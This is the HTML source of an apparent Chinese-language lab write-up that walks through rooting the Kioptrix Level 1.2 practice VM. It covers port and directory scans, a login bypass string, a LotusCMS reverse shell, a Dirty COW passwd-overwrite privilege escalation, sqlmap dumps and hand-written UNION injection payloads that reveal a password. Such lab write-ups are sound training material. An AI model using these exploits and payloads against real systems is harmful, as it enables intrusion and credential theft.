&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 14点55分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kioptrix-level-12-3"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-12-3,24/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1.2 (#3)&lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;开启靶机后，在攻击机扫描网段。以下命令多开终端同步扫。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sP 192.168.139.0/24 -T5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -T5 192.168.139.131 -p-
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS 192.168.139.131 -p- --min-rate &lt;span class="m"&gt;1000&lt;/span&gt; -A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;dirb http://192.168.139.131/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208144640601" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208144640601.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208145744481" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208145744481.png"&gt;&lt;/p&gt;
&lt;p&gt;访问80端口看到网页，点了一圈没有发现。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150020162" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150020162.png"&gt;&lt;/p&gt;
&lt;p&gt;目录扫描发现php管理员登录入口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150110203" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150110203.png"&gt;&lt;/p&gt;
&lt;p&gt;发现登录界面，用万能密码，只填用户名，密码部分留空。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150320933" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150320933.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;root&amp;#34; and 1=1 -- +
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;点击表，点击搜索，发现安全设置有问题，可以写文件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;show global variables like &amp;#34;secure%&amp;#34;;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208150733727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150733727.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208150752980" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208150752980.png"&gt;&lt;/p&gt;
&lt;p&gt;暂时没有想法，先从其他地方继续收集信息。从80网页点进去发现一个登录窗口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208151143995" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208151143995.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208151303981" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208151303981.png"&gt;&lt;/p&gt;
&lt;p&gt;主页点gallery会跳转到新的地址，但是图片之类的都显示不出来。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 15点45分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;中间去工作了，然后发现自己没有安装BurpSuit，原本装的Pro版，后来刷机刷没了，Yakit的劫持也忘了配置，浏览器插件没有装，去安装了一下。安装步骤可以看最后面。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 18点49分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="lotus-cms-漏洞passwd漏洞"&gt;Lotus CMS 漏洞&amp;amp;passwd漏洞
&lt;/h3&gt;&lt;p&gt;先找找Lotus CMS有没有什么漏洞，这个是登录网页的框架。搜索发现如下工具。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/Hood3dRob1n/LotusCMS-Exploit" target="_blank" rel="noopener"
 &gt;https://github.com/Hood3dRob1n/LotusCMS-Exploit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208190937499" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208190937499.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208191146193" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191146193.png"&gt;&lt;/p&gt;
&lt;p&gt;选择1，反弹成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208191307841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191307841.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208191353780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191353780.png"&gt;&lt;/p&gt;
&lt;p&gt;接下来需要提权成root。&lt;/p&gt;
&lt;p&gt;目前这个中腹案不太好看，发现有python，给他弄成交互式终端。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python -c &amp;#39;import pty; pty.spawn(&amp;#34;/bin/bash&amp;#34;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208191825137" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208191825137.png"&gt;&lt;/p&gt;
&lt;p&gt;查询终端信息。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208192009711" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192009711.png"&gt;&lt;/p&gt;
&lt;p&gt;试了一些常规的提权方法不行，翻翻看文件夹，发现home文件夹下有个READEME文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208192350538" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192350538.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Hello new employee,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;It is company policy here to use our newly installed software for editing, creating and viewing files.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Please use the command &amp;#39;sudo ht&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Failure to do so will result in you immediate termination.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;DG
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;CEO
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;你好，新员工，使用我们新安装的软件来编辑、创建和查看文件是公司的规定。请使用命令“sudo ht”。如果不这样做，你将被立即解雇。DG首席执行官
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208192553833" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192553833.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt;了一下也不行。另一个文件好像也不是有用的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208192734095" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208192734095.png"&gt;&lt;/p&gt;
&lt;p&gt;回到READEME的提示，会发现要执行的时候没有paswwd，所以想从etc/passwd方向入手。看到有两个poc：40847.cpp和40839.c&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208193634473" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208193634473.png"&gt;&lt;/p&gt;
&lt;p&gt;编译第一个&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;g++ -o &lt;span class="m"&gt;40847&lt;/span&gt; 40847.cpp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;./40847 -h
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;./40847 &lt;span class="o"&gt;[&lt;/span&gt;-s&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-n&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;-h&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; -s open directly a shell, &lt;span class="k"&gt;if&lt;/span&gt; the exploit is successful&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; -n combined with -s, doesn&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;t restore the passwd file.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; -h print this synopsis&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; If no param is specified, the program modifies the passwd file and exits.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; A copy of the passwd file will be create in the current directory as .ssh_bak
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;(&lt;/span&gt;unprivileged user&lt;span class="o"&gt;)&lt;/span&gt;, &lt;span class="k"&gt;if&lt;/span&gt; no parameter or -n is specified.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;-s如果攻击成功，直接打开shell；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;-n和-s组合，不恢复passwd文件。-h打印概要；
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;如果没有指定参数，程序将修改passwd文件并退出。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;在当前目录中将以.ssh的形式创建passwd文件的副本_如果不指定参数或-n，则为Bak（非特权用户）。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208194612384" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208194612384.png"&gt;&lt;/p&gt;
&lt;p&gt;失败，换40839，编译报错，提示缺少库文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208195321220" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208195321220.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208195408073" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208195408073.png"&gt;&lt;/p&gt;
&lt;p&gt;文件中给出了编译命令。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;gcc -pthread 40839.c -o &lt;span class="m"&gt;40839&lt;/span&gt; -lcrypt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208195505865" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208195505865.png"&gt;&lt;/p&gt;
&lt;p&gt;下载到靶机上编译执行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208200238689" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208200238689.png"&gt;&lt;/p&gt;
&lt;p&gt;这里我没注意看，它提示重置密码，我直接输入成了ls，等待他执行改密操作。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208200337762" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208200337762.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208200727922" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208200727922.png"&gt;&lt;/p&gt;
&lt;p&gt;他现在提示我现在可以用&lt;code&gt;ls&lt;/code&gt;做密码登录账户&lt;code&gt;firefart&lt;/code&gt;，注意添加 &lt;code&gt;-o &lt;/code&gt;参数，不然版本太低登不进去。登不进去就直接&lt;code&gt;su firefart&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa firefart@192.168.139.131
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208201518717" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208201518717.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208201615356" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208201615356.png"&gt;&lt;/p&gt;
&lt;p&gt;虽然名字不是root，但是权限是root。&lt;/p&gt;
&lt;h3 id="页面sql注入漏洞"&gt;页面sql注入漏洞
&lt;/h3&gt;&lt;p&gt;因为之前找到phpadmin登陆界面，应该是有sql漏洞的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185122537" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185122537.png"&gt;&lt;/p&gt;
&lt;p&gt;主页点击浏览，发现有很多图片显示不出来，点击任意一个链接发现跳转新的域名，这个域名不是已经注册的，可能是跳转自己，但是DNS没有解析。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185209404" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185209404.png"&gt;&lt;/p&gt;
&lt;p&gt;修改本机Host文件，让这个域名解析到指定ip，就是靶机的ip。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185631024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185631024.png"&gt;&lt;/p&gt;
&lt;p&gt;保存host文件，刷新一下浏览器就有了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208185710784" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208185710784.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208190129200" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208190129200.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208190150024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208190150024.png"&gt;&lt;/p&gt;
&lt;p&gt;发现疑似注入的入口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208202722771" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208202722771.png"&gt;&lt;/p&gt;
&lt;p&gt;存在，可用，接下来就是调参了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208202906817" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208202906817.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208203002822" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208203002822.png"&gt;&lt;/p&gt;
&lt;h4 id="sqlmap-自动注入"&gt;sqlmap 自动注入
&lt;/h4&gt;&lt;p&gt;&lt;img alt="image-20250208205719698" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208205719698.png"&gt;&lt;/p&gt;
&lt;p&gt;懒人用sqlmap走一下捷径，实际考试sqlmap有限制次数，所以小的能手注的还是练习一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u http://192.168.139.131/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1* --dbs --batch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u http://192.168.139.131/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1* -D gallery --tables --batch
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -u http://192.168.139.131/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1* -D gallery -T gallarific_users --dump-all
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最后一步爆库很慢&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208210749614" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208210749614.png"&gt;
&lt;img alt="image-20250208213537024" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208213537024.png"&gt;&lt;/p&gt;
&lt;h4 id="手动注入"&gt;手动注入
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;http://kioptrix3.com/gallery/gallery.php?id&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="s1"&gt;&amp;#39; # 报错
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 # 不报错，是整数型注入
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,33,44,55,66
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,database(),user(),44,55,66 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 database()为gallery，user()为root@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(schema_name),44,55,66 from information_schema.schemata
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 information_schema,gallery,mysql
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(TABLE_NAME),44,55,66 from information_schema.TABLES where TABLE_SCHEMA=database()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# gallarific_users 里可能会有用户名和密码 查表
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,22,group_concat(column_name),44,55,66 from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME=&amp;#39;&lt;/span&gt;gallarific_users&lt;span class="s1"&gt;&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;http://kioptrix3.com/gallery/gallery.php?id=1 union select 11,username,password,44,55,66 from gallery.gallarific_users
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt;# 回显 admin n0t7t1k4
